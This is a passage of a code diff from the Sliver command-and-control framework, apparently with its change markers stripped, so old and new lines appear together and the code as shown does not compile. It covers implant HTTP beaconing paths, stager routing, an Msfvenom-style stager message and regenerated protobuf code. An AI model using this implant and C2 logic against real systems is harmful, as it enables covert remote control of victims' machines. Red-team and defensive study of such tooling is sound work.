closeFiles = append(closeFiles, "{{.Value}}")
// {{end}}
// {{if not .IsFile }}
closePaths = append(closePaths, "{{.Value}}")
// {{end}}
// {{end}}
// {{end}}
switch segmentType {
case 0:
curl.Path = s.pathJoinURL(s.randomPath(pollPaths, pollFiles, "{{ .HTTPC2ImplantConfig.PollFileExtension }}"))
case 1:
curl.Path = s.pathJoinURL(s.randomPath(sessionPaths, sessionFiles, "{{ .HTTPC2ImplantConfig.SessionFileExtension }}"))
case 2:
curl.Path = s.pathJoinURL(s.randomPath(closePaths, closeFiles, "{{.HTTPC2ImplantConfig.CloseFileExtension}}"))
default:
return nil
}
return curl
}
func (s *SliverHTTPClient) startSessionURL() *url.URL {
curl := s.parseSegments()
sessionURI := s.parseSegments(1)
uri := strings.TrimSuffix(sessionURI.String(), "{{ .HTTPC2ImplantConfig.SessionFileExtension }}")
uri += "{{ .HTTPC2ImplantConfig.StartSessionFileExtension }}"
curl, _ := url.Parse(uri)
return curl
}
// Must return at least a file name, path segments are optional
func (s *SliverHTTPClient) randomPath(segments []string, filenames []string, exts []string) []string {
func (s *SliverHTTPClient) randomPath(segments []string, filenames []string, ext string) []string {
genSegments := []string{}
if 0 < len(segments) {
min, _ := strconv.Atoi("{{.HTTPC2ImplantConfig.MinPathLength}}")
max, _ := strconv.Atoi("{{.HTTPC2ImplantConfig.MaxPathLength}}")
min, _ := strconv.Atoi("{{.HTTPC2ImplantConfig.MinPaths}}")
max, _ := strconv.Atoi("{{.HTTPC2ImplantConfig.MaxPaths}}")
n := insecureRand.Intn(max-min+1) + min // How many segments?
for index := 0; index < n; index++ {
seg := segments[insecureRand.Intn(len(segments))]
@@ -653,14 +660,11 @@ func (s *SliverHTTPClient) randomPath(segments []string, filenames []string, ext
}
}
filename := filenames[insecureRand.Intn(len(filenames))]
ext := exts[insecureRand.Intn(len(exts))]
// {{if .Config.Debug}}
log.Printf("[http] segments = %v, filename = %s, ext = %s", genSegments, filename, ext)
// {{end}}
if ext != "" {
genSegments = append(genSegments, fmt.Sprintf("%s.%s", filename, ext))
}
genSegments = append(genSegments, fmt.Sprintf("%s.%s", filename, ext))
return genSegments
}
@@ -329,7 +329,7 @@ func (p *NetConnPivotClient) ReadEnvelope() (*pb.Envelope, error) {
// {{end}}
return nil, err
}
data, err = p.peerCipherCtx.DecryptWithoutSignatureCheck(data)
data, err = p.peerCipherCtx.Decrypt(data)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[pivot] Peer decryption error: %s", err)
+3 -3
View File
@@ -81,16 +81,16 @@ func getOSVersion() string {
arch = "x86_64"
} else {
var is64Bit bool
pHandle := windows.CurrentProcess()
pHandle, _ := windows.GetCurrentProcess()
if uint(pHandle) == 0 {
//{{if .Config.Debug}}
log.Printf("error getting OS version: error getting current process handle")
log.Printf("error getting OS version: error getting current process handle: %v")
//{{end}}
arch = "<error getting arch>"
}
if err := windows.IsWow64Process(pHandle, &is64Bit); err != nil {
//{{if .Config.Debug}}
log.Printf("error getting OS version: error checking if running in WOW: %v", err)
log.Printf("error getting OS version: error checking if running in WOW: %v")
//{{end}}
arch = "<error getting arch>"
} else {
File diff suppressed because it is too large. Load diff
+28 -14
View File
@@ -182,13 +182,11 @@ message ImplantConfig {
bool IsShellcode = 104;
bool RunAtLoad = 105;
string DebugFile = 106;
repeated string exports = 107;
string HTTPC2ConfigName = 150;
bool NetGoEnabled = 151;
bool TrafficEncodersEnabled = 152;
repeated string TrafficEncoders = 153;
string Extension = 154;
repeated commonpb.File Assets = 200;
}
@@ -359,7 +357,6 @@ message ListenerJob {
DNSListenerReq DNSConf = 6;
HTTPListenerReq HTTPConf = 7;
MultiplayerListenerReq MultiConf = 8;
StagerListenerReq TCPConf = 9;
}
message MultiplayerListenerReq {
@@ -492,7 +489,10 @@ message StagerListenerReq {
string Host = 2;
uint32 Port = 3;
bytes Data = 4;
string ProfileName = 5;
bytes Cert = 5;
bytes Key = 6;
bool ACME = 7;
string ProfileName = 8;
}
message StagerListener { uint32 JobID = 1; }
@@ -505,6 +505,19 @@ message ShellcodeRDIReq {
message ShellcodeRDI { bytes Data = 1; }
message MsfStagerReq {
string Arch = 1;
string Format = 2;
uint32 Port = 3;
string Host = 4;
string OS = 5; // reserved for future usage
StageProtocol Protocol = 6;
repeated string BadChars = 7;
string HTTPC2ConfigName = 9;
}
message MsfStager { commonpb.File File = 1; }
// GetSystemReq - Client request to the server which is translated into
// InvokeSystemReq when sending to the implant.
message GetSystemReq {
@@ -767,18 +780,18 @@ message HTTPC2ImplantConfig {
repeated HTTPC2URLParameter ExtraURLParameters = 6;
repeated HTTPC2Header Headers = 7;
int32 MaxFileGen = 8;
int32 MinFileGen = 9;
int32 MaxPathGen = 10;
int32 MinPathGen = 11;
int32 MaxPathLength = 12;
int32 MinPathLength = 13;
int32 MaxFiles = 8;
int32 MinFiles = 9;
int32 MaxPaths = 10;
int32 MinPaths = 11;
repeated string extensions = 14;
string StagerFileExtension = 12;
string PollFileExtension = 13;
string StartSessionFileExtension = 14;
string SessionFileExtension = 15;
string CloseFileExtension = 16;
repeated HTTPC2PathSegment PathSegments = 17;
int32 NonceQueryLength = 18;
string NonceMode =19;
}
message HTTPC2Cookie {
@@ -815,7 +828,8 @@ message HTTPC2PathSegment {
string ID = 1;
bool IsFile = 2;
string Value = 3;
HTTPC2SegmentType SegmentType = 3;
string Value = 4;
}
// [ Credentials ] ----------------------------------------
+149 -58
View File
@@ -1,7 +1,7 @@
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
// protoc-gen-go v1.36.3
// protoc v5.29.3
// protoc-gen-go v1.28.1
// protoc v4.25.3
// source: commonpb/common.proto
package commonpb
@@ -21,16 +21,18 @@ const (
)
type Empty struct {
state protoimpl.MessageState `protogen:"open.v1"`
unknownFields protoimpl.UnknownFields
state protoimpl.MessageState
sizeCache protoimpl.SizeCache
unknownFields protoimpl.UnknownFields
}
func (x *Empty) Reset() {
*x = Empty{}
mi := &file_commonpb_common_proto_msgTypes[0]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
if protoimpl.UnsafeEnabled {
mi := &file_commonpb_common_proto_msgTypes[0]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
}
func (x *Empty) String() string {
@@ -41,7 +43,7 @@ func (*Empty) ProtoMessage() {}
func (x *Empty) ProtoReflect() protoreflect.Message {
mi := &file_commonpb_common_proto_msgTypes[0]
if x != nil {
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
ms.StoreMessageInfo(mi)
@@ -58,20 +60,23 @@ func (*Empty) Descriptor() ([]byte, []int) {
// Request - Common fields used in all gRPC requests
type Request struct {
state protoimpl.MessageState `protogen:"open.v1"`
Async bool `protobuf:"varint,1,opt,name=Async,proto3" json:"Async,omitempty"`
Timeout int64 `protobuf:"varint,2,opt,name=Timeout,proto3" json:"Timeout,omitempty"`
BeaconID string `protobuf:"bytes,8,opt,name=BeaconID,proto3" json:"BeaconID,omitempty"`
SessionID string `protobuf:"bytes,9,opt,name=SessionID,proto3" json:"SessionID,omitempty"`
unknownFields protoimpl.UnknownFields
state protoimpl.MessageState
sizeCache protoimpl.SizeCache
unknownFields protoimpl.UnknownFields
Async bool `protobuf:"varint,1,opt,name=Async,proto3" json:"Async,omitempty"`
Timeout int64 `protobuf:"varint,2,opt,name=Timeout,proto3" json:"Timeout,omitempty"`
BeaconID string `protobuf:"bytes,8,opt,name=BeaconID,proto3" json:"BeaconID,omitempty"`
SessionID string `protobuf:"bytes,9,opt,name=SessionID,proto3" json:"SessionID,omitempty"`
}
func (x *Request) Reset() {
*x = Request{}
mi := &file_commonpb_common_proto_msgTypes[1]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
if protoimpl.UnsafeEnabled {
mi := &file_commonpb_common_proto_msgTypes[1]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
}
func (x *Request) String() string {
@@ -82,7 +87,7 @@ func (*Request) ProtoMessage() {}
func (x *Request) ProtoReflect() protoreflect.Message {
mi := &file_commonpb_common_proto_msgTypes[1]
if x != nil {
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
ms.StoreMessageInfo(mi)
@@ -130,20 +135,23 @@ func (x *Request) GetSessionID() string {
// only used when the implant needs to return an error to the server.
// Client<->Server comms should use normal gRPC error handling.
type Response struct {
state protoimpl.MessageState `protogen:"open.v1"`
Err string `protobuf:"bytes,1,opt,name=Err,proto3" json:"Err,omitempty"`
Async bool `protobuf:"varint,2,opt,name=Async,proto3" json:"Async,omitempty"`
BeaconID string `protobuf:"bytes,8,opt,name=BeaconID,proto3" json:"BeaconID,omitempty"`
TaskID string `protobuf:"bytes,9,opt,name=TaskID,proto3" json:"TaskID,omitempty"`
unknownFields protoimpl.UnknownFields
state protoimpl.MessageState
sizeCache protoimpl.SizeCache
unknownFields protoimpl.UnknownFields
Err string `protobuf:"bytes,1,opt,name=Err,proto3" json:"Err,omitempty"`
Async bool `protobuf:"varint,2,opt,name=Async,proto3" json:"Async,omitempty"`
BeaconID string `protobuf:"bytes,8,opt,name=BeaconID,proto3" json:"BeaconID,omitempty"`
TaskID string `protobuf:"bytes,9,opt,name=TaskID,proto3" json:"TaskID,omitempty"`
}
func (x *Response) Reset() {
*x = Response{}
mi := &file_commonpb_common_proto_msgTypes[2]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
if protoimpl.UnsafeEnabled {
mi := &file_commonpb_common_proto_msgTypes[2]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
}
func (x *Response) String() string {
@@ -154,7 +162,7 @@ func (*Response) ProtoMessage() {}
func (x *Response) ProtoReflect() protoreflect.Message {
mi := &file_commonpb_common_proto_msgTypes[2]
if x != nil {
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
ms.StoreMessageInfo(mi)
@@ -199,18 +207,21 @@ func (x *Response) GetTaskID() string {
// File - A basic file data type
type File struct {
state protoimpl.MessageState `protogen:"open.v1"`
Name string `protobuf:"bytes,1,opt,name=Name,proto3" json:"Name,omitempty"`
Data []byte `protobuf:"bytes,2,opt,name=Data,proto3" json:"Data,omitempty"`
unknownFields protoimpl.UnknownFields
state protoimpl.MessageState
sizeCache protoimpl.SizeCache
unknownFields protoimpl.UnknownFields
Name string `protobuf:"bytes,1,opt,name=Name,proto3" json:"Name,omitempty"`
Data []byte `protobuf:"bytes,2,opt,name=Data,proto3" json:"Data,omitempty"`
}
func (x *File) Reset() {
*x = File{}
mi := &file_commonpb_common_proto_msgTypes[3]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
if protoimpl.UnsafeEnabled {
mi := &file_commonpb_common_proto_msgTypes[3]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
}
func (x *File) String() string {
@@ -221,7 +232,7 @@ func (*File) ProtoMessage() {}
func (x *File) ProtoReflect() protoreflect.Message {
mi := &file_commonpb_common_proto_msgTypes[3]
if x != nil {
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
ms.StoreMessageInfo(mi)
@@ -252,23 +263,26 @@ func (x *File) GetData() []byte {
// Process - A basic process data type
type Process struct {
state protoimpl.MessageState `protogen:"open.v1"`
Pid int32 `protobuf:"varint,1,opt,name=Pid,proto3" json:"Pid,omitempty"`
Ppid int32 `protobuf:"varint,2,opt,name=Ppid,proto3" json:"Ppid,omitempty"`
Executable string `protobuf:"bytes,3,opt,name=Executable,proto3" json:"Executable,omitempty"`
Owner string `protobuf:"bytes,4,opt,name=Owner,proto3" json:"Owner,omitempty"`
Architecture string `protobuf:"bytes,7,opt,name=Architecture,proto3" json:"Architecture,omitempty"`
SessionID int32 `protobuf:"varint,5,opt,name=SessionID,proto3" json:"SessionID,omitempty"`
CmdLine []string `protobuf:"bytes,6,rep,name=CmdLine,proto3" json:"CmdLine,omitempty"`
unknownFields protoimpl.UnknownFields
state protoimpl.MessageState
sizeCache protoimpl.SizeCache
unknownFields protoimpl.UnknownFields
Pid int32 `protobuf:"varint,1,opt,name=Pid,proto3" json:"Pid,omitempty"`
Ppid int32 `protobuf:"varint,2,opt,name=Ppid,proto3" json:"Ppid,omitempty"`
Executable string `protobuf:"bytes,3,opt,name=Executable,proto3" json:"Executable,omitempty"`
Owner string `protobuf:"bytes,4,opt,name=Owner,proto3" json:"Owner,omitempty"`
Architecture string `protobuf:"bytes,7,opt,name=Architecture,proto3" json:"Architecture,omitempty"`
SessionID int32 `protobuf:"varint,5,opt,name=SessionID,proto3" json:"SessionID,omitempty"`
CmdLine []string `protobuf:"bytes,6,rep,name=CmdLine,proto3" json:"CmdLine,omitempty"`
}
func (x *Process) Reset() {
*x = Process{}
mi := &file_commonpb_common_proto_msgTypes[4]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
if protoimpl.UnsafeEnabled {
mi := &file_commonpb_common_proto_msgTypes[4]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
}
func (x *Process) String() string {
@@ -279,7 +293,7 @@ func (*Process) ProtoMessage() {}
func (x *Process) ProtoReflect() protoreflect.Message {
mi := &file_commonpb_common_proto_msgTypes[4]
if x != nil {
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
ms.StoreMessageInfo(mi)
@@ -345,18 +359,21 @@ func (x *Process) GetCmdLine() []string {
// EnvVar - Environment variable K/V
type EnvVar struct {
state protoimpl.MessageState `protogen:"open.v1"`
Key string `protobuf:"bytes,1,opt,name=Key,proto3" json:"Key,omitempty"`
Value string `protobuf:"bytes,2,opt,name=Value,proto3" json:"Value,omitempty"`
unknownFields protoimpl.UnknownFields
state protoimpl.MessageState
sizeCache protoimpl.SizeCache
unknownFields protoimpl.UnknownFields
Key string `protobuf:"bytes,1,opt,name=Key,proto3" json:"Key,omitempty"`
Value string `protobuf:"bytes,2,opt,name=Value,proto3" json:"Value,omitempty"`
}
func (x *EnvVar) Reset() {
*x = EnvVar{}
mi := &file_commonpb_common_proto_msgTypes[5]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
if protoimpl.UnsafeEnabled {
mi := &file_commonpb_common_proto_msgTypes[5]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
}
func (x *EnvVar) String() string {
@@ -367,7 +384,7 @@ func (*EnvVar) ProtoMessage() {}
func (x *EnvVar) ProtoReflect() protoreflect.Message {
mi := &file_commonpb_common_proto_msgTypes[5]
if x != nil {
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
ms.StoreMessageInfo(mi)
@@ -453,7 +470,7 @@ func file_commonpb_common_proto_rawDescGZIP() []byte {
}
var file_commonpb_common_proto_msgTypes = make([]protoimpl.MessageInfo, 6)
var file_commonpb_common_proto_goTypes = []any{
var file_commonpb_common_proto_goTypes = []interface{}{
(*Empty)(nil), // 0: commonpb.Empty
(*Request)(nil), // 1: commonpb.Request
(*Response)(nil), // 2: commonpb.Response
@@ -474,6 +491,80 @@ func file_commonpb_common_proto_init() {
if File_commonpb_common_proto != nil {
return
}
if !protoimpl.UnsafeEnabled {
file_commonpb_common_proto_msgTypes[0].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*Empty); i {
case 0:
return &v.state
case 1:
return &v.sizeCache
case 2:
return &v.unknownFields
default:
return nil
}
}
file_commonpb_common_proto_msgTypes[1].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*Request); i {
case 0:
return &v.state
case 1:
return &v.sizeCache
case 2:
return &v.unknownFields
default:
return nil
}
}
file_commonpb_common_proto_msgTypes[2].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*Response); i {
case 0:
return &v.state
case 1:
return &v.sizeCache
case 2:
return &v.unknownFields
default:
return nil
}
}
file_commonpb_common_proto_msgTypes[3].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*File); i {
case 0:
return &v.state
case 1:
return &v.sizeCache
case 2:
return &v.unknownFields
default:
return nil
}
}
file_commonpb_common_proto_msgTypes[4].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*Process); i {
case 0:
return &v.state
case 1:
return &v.sizeCache
case 2:
return &v.unknownFields
default:
return nil
}
}
file_commonpb_common_proto_msgTypes[5].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*EnvVar); i {
case 0:
return &v.state
case 1:
return &v.sizeCache
case 2:
return &v.unknownFields
default:
return nil
}
}
}
type x struct{}
out := protoimpl.TypeBuilder{
File: protoimpl.DescBuilder{
+32 -15
View File
@@ -1,7 +1,7 @@
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
// protoc-gen-go v1.36.3
// protoc v5.29.3
// protoc-gen-go v1.28.1
// protoc v4.25.3
// source: dnspb/dns.proto
package dnspb
@@ -92,22 +92,25 @@ func (DNSMessageType) EnumDescriptor() ([]byte, []int) {
//
// [Type TOTP]: ID field is used for the TOTP code
type DNSMessage struct {
state protoimpl.MessageState `protogen:"open.v1"`
Type DNSMessageType `protobuf:"varint,1,opt,name=Type,proto3,enum=dnspb.DNSMessageType" json:"Type,omitempty"`
ID uint32 `protobuf:"varint,2,opt,name=ID,proto3" json:"ID,omitempty"` // 8 bit message id + 24 bit dns session ID
Start uint32 `protobuf:"varint,3,opt,name=Start,proto3" json:"Start,omitempty"` // Bytes start at
Stop uint32 `protobuf:"varint,4,opt,name=Stop,proto3" json:"Stop,omitempty"` // Bytes stop at
Size uint32 `protobuf:"varint,5,opt,name=Size,proto3" json:"Size,omitempty"` // Total size
Data []byte `protobuf:"bytes,6,opt,name=Data,proto3" json:"Data,omitempty"` // Actual data
unknownFields protoimpl.UnknownFields
state protoimpl.MessageState
sizeCache protoimpl.SizeCache
unknownFields protoimpl.UnknownFields
Type DNSMessageType `protobuf:"varint,1,opt,name=Type,proto3,enum=dnspb.DNSMessageType" json:"Type,omitempty"`
ID uint32 `protobuf:"varint,2,opt,name=ID,proto3" json:"ID,omitempty"` // 8 bit message id + 24 bit dns session ID
Start uint32 `protobuf:"varint,3,opt,name=Start,proto3" json:"Start,omitempty"` // Bytes start at
Stop uint32 `protobuf:"varint,4,opt,name=Stop,proto3" json:"Stop,omitempty"` // Bytes stop at
Size uint32 `protobuf:"varint,5,opt,name=Size,proto3" json:"Size,omitempty"` // Total size
Data []byte `protobuf:"bytes,6,opt,name=Data,proto3" json:"Data,omitempty"` // Actual data
}
func (x *DNSMessage) Reset() {
*x = DNSMessage{}
mi := &file_dnspb_dns_proto_msgTypes[0]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
if protoimpl.UnsafeEnabled {
mi := &file_dnspb_dns_proto_msgTypes[0]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
}
func (x *DNSMessage) String() string {
@@ -118,7 +121,7 @@ func (*DNSMessage) ProtoMessage() {}
func (x *DNSMessage) ProtoReflect() protoreflect.Message {
mi := &file_dnspb_dns_proto_msgTypes[0]
if x != nil {
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
ms.StoreMessageInfo(mi)
@@ -218,7 +221,7 @@ func file_dnspb_dns_proto_rawDescGZIP() []byte {
var file_dnspb_dns_proto_enumTypes = make([]protoimpl.EnumInfo, 1)
var file_dnspb_dns_proto_msgTypes = make([]protoimpl.MessageInfo, 1)
var file_dnspb_dns_proto_goTypes = []any{
var file_dnspb_dns_proto_goTypes = []interface{}{
(DNSMessageType)(0), // 0: dnspb.DNSMessageType
(*DNSMessage)(nil), // 1: dnspb.DNSMessage
}
@@ -236,6 +239,20 @@ func file_dnspb_dns_proto_init() {
if File_dnspb_dns_proto != nil {
return
}
if !protoimpl.UnsafeEnabled {
file_dnspb_dns_proto_msgTypes[0].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*DNSMessage); i {
case 0:
return &v.state
case 1:
return &v.sizeCache
case 2:
return &v.unknownFields
default:
return nil
}
}
}
type x struct{}
out := protoimpl.TypeBuilder{
File: protoimpl.DescBuilder{
+3 -3
View File
@@ -1,7 +1,7 @@
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
// protoc-gen-go v1.36.3
// protoc v5.29.3
// protoc-gen-go v1.28.1
// protoc v4.25.3
// source: rpcpb/services.proto
package rpcpb
@@ -724,7 +724,7 @@ var file_rpcpb_services_proto_rawDesc = []byte{
0x70, 0x63, 0x70, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33,
}
var file_rpcpb_services_proto_goTypes = []any{
var file_rpcpb_services_proto_goTypes = []interface{}{
(*commonpb.Empty)(nil), // 0: commonpb.Empty
(*clientpb.ClientLogData)(nil), // 1: clientpb.ClientLogData
(*sliverpb.KillReq)(nil), // 2: sliverpb.KillReq
File diff suppressed because it is too large. Load diff
File diff suppressed because it is too large. Load diff
+1 -3
View File
@@ -106,10 +106,8 @@ message KillReq {
}
// PsReq - Request the implant to list processes of a remote session.
// PsReq - Request the implant to list ses of a remote session.
message PsReq {
bool FullInfo = 1;
commonpb.Request Request = 9;
}
-1
View File
@@ -291,7 +291,6 @@ func SetupGoPath(goPathSrc string, includeDNS bool) error {
sliverpbGoSrc = xorPBRawBytes(sliverpbGoSrc)
sliverpbGoSrc = stripSliverpb(sliverpbGoSrc)
sliverpbDir := filepath.Join(goPathSrc, "github.com", "bishopfox", "sliver", "protobuf", "sliverpb")
setupLog.Infof("Creating sliverpb directory: %s", sliverpbDir)
os.MkdirAll(sliverpbDir, 0700)
os.WriteFile(filepath.Join(sliverpbDir, "sliver.pb.go"), sliverpbGoSrc, 0600)
os.WriteFile(filepath.Join(sliverpbDir, "constants.go"), sliverpbConstSrc, 0600)
+4 -1
View File
@@ -241,7 +241,10 @@ func (b *Builder) handleBuildEvent(event *clientpb.Event) {
return
}
fileName := filepath.Base(extConfig.Build.Name) + extConfig.Config.Extension
fileName := filepath.Base(extConfig.Build.Name)
if extConfig.Config.GOOS == "windows" {
fileName += ".exe"
}
builderLog.Infof("Uploading '%s' to server ...", extConfig.Build.Name)
_, err = b.rpc.GenerateExternalSaveBuild(context.Background(), &clientpb.ExternalImplantBinary{
+133 -143
View File
@@ -31,6 +31,7 @@ import (
"net"
"net/http"
"net/url"
"path"
"path/filepath"
"strconv"
"strings"
@@ -41,7 +42,6 @@ import (
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/server/certs"
"github.com/bishopfox/sliver/server/configs"
"github.com/bishopfox/sliver/server/core"
"github.com/bishopfox/sliver/server/cryptography"
"github.com/bishopfox/sliver/server/db"
@@ -51,7 +51,6 @@ import (
"github.com/bishopfox/sliver/server/log"
"github.com/bishopfox/sliver/server/website"
"github.com/bishopfox/sliver/util"
sliverEncoders "github.com/bishopfox/sliver/util/encoders"
"github.com/gorilla/mux"
"google.golang.org/protobuf/proto"
@@ -65,7 +64,6 @@ var (
ErrInvalidEncoder = errors.New("invalid request encoder")
ErrDecodeFailed = errors.New("failed to decode request")
ErrDecryptFailed = errors.New("failed to decrypt request")
serverConfig = configs.GetServerConfig()
)
const (
@@ -348,6 +346,17 @@ func (s *SliverHTTPC2) router() *mux.Router {
s.ServerConf.LongPollJitter = int64(DefaultLongPollJitter)
}
// start stager handlers, extension are unique accross all profiles
for _, c2Config := range c2Configs.Configs {
// Can't force the user agent on the stager payload
// Request from msf stager payload will look like:
// GET /fonts/Inter-Medium.woff/B64_ENCODED_PAYLOAD_UUID
router.HandleFunc(
fmt.Sprintf("/{rpath:.*\\.%s[/]{0,1}.*$}", c2Config.ImplantConfig.StagerFileExtension),
s.stagerHandler,
).Methods(http.MethodGet)
}
router.HandleFunc("/{rpath:.*}", s.mainHandler).Methods(http.MethodGet, http.MethodPost)
router.Use(loggingMiddleware)
@@ -360,61 +369,34 @@ func (s *SliverHTTPC2) noCacheHeader(resp http.ResponseWriter) {
resp.Header().Add("Cache-Control", "no-store, no-cache, must-revalidate")
}
func getNoncesFromURL(reqURL *url.URL, length int32) ([]uint64, error) {
qNonce := ""
nonces := []uint64{}
for arg, values := range reqURL.Query() {
if len(arg) == int(length) || int(length) == 0 {
qNonce = digitsOnly(values[0])
nonce, err := strconv.ParseUint(qNonce, 10, 64)
if err != nil {
continue
}
nonces = append(nonces, nonce)
}
// This filters requests that do not have a valid nonce
func (s *SliverHTTPC2) filterNonce(req *http.Request, rm *mux.RouteMatch) bool {
nonce, err := getNonceFromURL(req.URL)
if err != nil {
httpLog.Warnf("Invalid nonce '%d'", nonce)
return false // NaN
}
for _, segment := range strings.Split(reqURL.Path, "/") {
qNonce = digitsOnly(segment)
nonce, err := strconv.ParseUint(qNonce, 10, 64)
if err != nil {
continue
}
nonces = append(nonces, nonce)
}
if len(nonces) == 0 {
httpLog.Warn("Nonce not found in request")
return []uint64{}, ErrMissingNonce
}
return nonces, nil
return true
}
func getEncoder(reqURL *url.URL, c2config *clientpb.HTTPC2Config) (sliverEncoders.Encoder, error) {
var (
err error
nonces []uint64
)
if c2config != nil {
nonces, err = getNoncesFromURL(reqURL, c2config.ImplantConfig.NonceQueryLength)
} else {
// anonymous handler calling, we don't know the expected nonce length
nonces, err = getNoncesFromURL(reqURL, 0)
}
if err != nil {
return nil, fmt.Errorf("no encoder found")
}
for _, nonce := range nonces {
_, encoder, err := encoders.EncoderFromNonce(nonce)
if err == nil {
return encoder, nil
func getNonceFromURL(reqURL *url.URL) (uint64, error) {
qNonce := ""
for arg, values := range reqURL.Query() {
if len(arg) == 1 {
qNonce = digitsOnly(values[0])
break
}
}
return nil, fmt.Errorf("no encoder found")
if qNonce == "" {
httpLog.Warn("Nonce not found in request")
return 0, ErrMissingNonce
}
nonce, err := strconv.ParseUint(qNonce, 10, 64)
if err != nil {
httpLog.Warnf("Invalid nonce, failed to parse '%s'", qNonce)
return 0, err
}
return nonce, nil
}
func digitsOnly(value string) string {
@@ -442,15 +424,23 @@ func (s *SliverHTTPC2) DefaultRespHeaders(next http.Handler) http.Handler {
err error
)
extension := strings.TrimLeft(path.Ext(req.URL.Path), ".")
// Check if the requests matches an existing session
httpSession := s.getHTTPSession(req)
if httpSession != nil {
// find correct c2 profile
// find correct c2 profile and from there call correct handler
profile, err = db.LoadHTTPC2ConfigByName(httpSession.C2Profile)
if err != nil {
httpLog.Debugf("Failed to resolve http profile %s", err)
return
}
} else {
for _, c2profile := range s.c2Config {
if extension == c2profile.ImplantConfig.StartSessionFileExtension {
profile = c2profile
break
}
}
}
if profile != nil {
@@ -466,19 +456,7 @@ func (s *SliverHTTPC2) DefaultRespHeaders(next http.Handler) http.Handler {
}
resp.Header().Set(header.Name, header.Value)
}
} else {
// for anonymous requests user server-wide defaults
for _, header := range serverConfig.HTTPDefaults.Headers {
if 0 < header.Probability && header.Probability < 100 {
roll := insecureRand.Intn(99) + 1
if header.Probability < int32(roll) {
continue
}
}
resp.Header().Set(header.Name, header.Value)
}
}
next.ServeHTTP(resp, req)
})
}
@@ -511,60 +489,54 @@ func (s *SliverHTTPC2) defaultHandler(resp http.ResponseWriter, req *http.Reques
// [ HTTP Handlers ] ---------------------------------------------------------------
func (s *SliverHTTPC2) mainHandler(resp http.ResponseWriter, req *http.Request) {
extension := strings.TrimLeft(path.Ext(req.URL.Path), ".")
// Check if the requests matches an existing session
httpSession := s.getHTTPSession(req)
if httpSession != nil {
s.authenticatedHandler(resp, req, httpSession)
return
} else {
s.anonymousHandler(resp, req)
return
// find correct c2 profile and from there call correct handler
c2Config, err := db.LoadHTTPC2ConfigByName(httpSession.C2Profile)
if err != nil {
httpLog.Debugf("Failed to resolve http profile %s", err)
return
}
if extension == c2Config.ImplantConfig.PollFileExtension {
s.pollHandler(resp, req)
return
} else if extension == c2Config.ImplantConfig.CloseFileExtension {
s.closeHandler(resp, req)
return
} else if extension == c2Config.ImplantConfig.SessionFileExtension {
s.sessionHandler(resp, req)
return
} else {
s.defaultHandler(resp, req)
return
}
}
// check if this is a new session
for _, profile := range s.c2Config {
if extension == profile.ImplantConfig.StartSessionFileExtension {
s.startSessionHandler(resp, req)
return
}
}
// redirect to default page
httpLog.Debugf("No pattern matches for request uri")
s.defaultHandler(resp, req)
return
}
func (s *SliverHTTPC2) authenticatedHandler(resp http.ResponseWriter, req *http.Request, session *HTTPSession) {
// Poll, session and close requests
c2Config, err := db.LoadHTTPC2ConfigByName(session.C2Profile)
func (s *SliverHTTPC2) startSessionHandler(resp http.ResponseWriter, req *http.Request) {
httpLog.Debug("Start http session request")
nonce, _ := getNonceFromURL(req.URL)
_, encoder, err := encoders.EncoderFromNonce(nonce)
if err != nil {
httpLog.Debugf("Failed to resolve http profile %s", err)
return
}
encoder, err := getEncoder(req.URL, c2Config)
if err != nil {
s.closeHandler(resp, req, session)
